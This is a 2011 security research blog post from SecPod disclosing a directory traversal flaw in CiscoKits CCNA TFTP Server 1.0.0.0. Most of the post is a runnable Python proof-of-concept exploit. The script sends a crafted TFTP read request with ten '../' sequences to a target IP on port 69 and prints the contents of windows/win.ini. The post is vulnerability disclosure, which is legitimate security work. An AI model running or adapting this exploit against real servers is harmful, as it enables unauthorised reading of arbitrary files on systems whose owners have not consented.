SecPod

Learn Search

Search across all Learn content

← Back to Security Research

CiscoKits TFTP Server Directory Traversal Vulnerability

SecPod Research Team member (Antu Sanadi) has found a Directory Traversal vulnerability in CiscoKits CCNA TFTP Server. The vulnerability is caused due to improper validation of ‘Read’ request containing ‘../’ sequences. The flaw can be exploited to read arbitrary files via directory traversal attack...

Aug 3, 2011By Veerendra GG2 min read

SecPod Research Team member (Antu Sanadi) has found a Directory Traversal vulnerability in CiscoKits CCNA TFTP Server. The vulnerability is caused due to improper validation of ‘Read’ request containing ‘../’ sequences. The flaw can be exploited to read arbitrary files via directory traversal attacks.

POC : Download here.

More information on the flaws can be found here.

plaintext

#!/usr/bin/python
##############################################################################
# Title     : CiscoKits TFTP Server Directory Traversal Vulnerability
# Author    : Antu Sanadi from SecPod Technologies (www.secpod.com)
# Vendor    : http://www.certificationkits.com/cisco-ccna-tftp-server/
# Advisory  : https://www.secpod.com/blog/?p=301
#             http://secpod.org/SECPOD_CiscoKits_TFTP_Server_Dir_Trav_POC.py
#             http://secpod.org/advisories/SECPOD_CiscoKits_TFTP_Server_Dir_Trav.txt
# Version   : CiscoKits CCNA TFTP Server 1.0.0.0
# Date      : 21/07/2011
##############################################################################
import sys, socket

def sendPacket(HOST, PORT, data):
    '''
    Sends UDP Data to a Particular Host on a Specified Port
    with a Given Data and Return the Response
    '''
    udp_sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
    udp_sock.sendto(data, (HOST, PORT))
    data = udp_sock.recv(1024)
    udp_sock.close()
    return data

if __name__ == "__main__":

    if len(sys.argv) < 2:
        print "\tUsage: python exploit.py target_ip"
        print "\tExample : python exploit.py 127.0.0.1"
        print "\tExiting..."
        sys.exit(0)

    HOST = sys.argv[1]                        ## The Server IP
    PORT = 69                                 ## Default TFTP port

    data = "\x00\x01"                         ## TFTP Read Request
    data += "../" * 10 + "windows/win.ini" + "\x00"  ## Read boot.ini file using directory traversal
    data += "netascii\x00"                    ## TFTP Type

    # netascii
    rec_data = sendPacket(HOST, PORT, data)
    print "Data Found on the target : %s " %(HOST)
    print rec_data.strip()

Welcome any feedback or suggestion.
Cheers!
SecPod Research Team

Featured Posts

Open ARTEX and the South Korean Bank Attacks: Why Removing an AI Penetration Testing Tool Is Not Enough
ARTEX and the South Korean Bank Attacks: Why Removing an AI Penetration Testing Tool Is Not Enough

CVE Research

ARTEX and the South Korean Bank Attacks: Why Removing an AI Penetration Testing Tool Is Not Enough

Oct 23, 2026

Open CVE-2025-38501: Linux KSMBD Flaw Lets Unauthenticated Attackers Exhaust SMB Connections
CVE-2025-38501: Linux KSMBD Flaw Lets Unauthenticated Attackers Exhaust SMB Connections

CVE Research

CVE-2025-38501: Linux KSMBD Flaw Lets Unauthenticated Attackers Exhaust SMB Connections

Idle connections can become a service outage for Linux file servers running vulnerable KSMBD code. CVE-2025-38501 allows an unauthenticated remote client to consume connection capacity and block legitimate access. This article explains the flaw, affected kernel branches, available fixes, and practical steps to reduce exposure.

Oct 23, 2026

Open Qilin and INC Walk Through the Front Door: A PAN-OS Flaw Opens VPN Access Without MFA
malware researchQilin and INC Walk Through the Front Door: A PAN-OS Flaw Opens VPN Access Without MFA

CVE Research

Qilin and INC Walk Through the Front Door: A PAN-OS Flaw Opens VPN Access Without MFA

Oct 23, 2026

Open Threats exploiting CISA KEV-listed CVEs: April to September 2026
threat intelligenceThreats exploiting CISA KEV-listed CVEs: April to September 2026

CVE Research

Threats exploiting CISA KEV-listed CVEs: April to September 2026

Oct 22, 2026

CiscoKits TFTP Server Directory Traversal Vulnerability | SecPod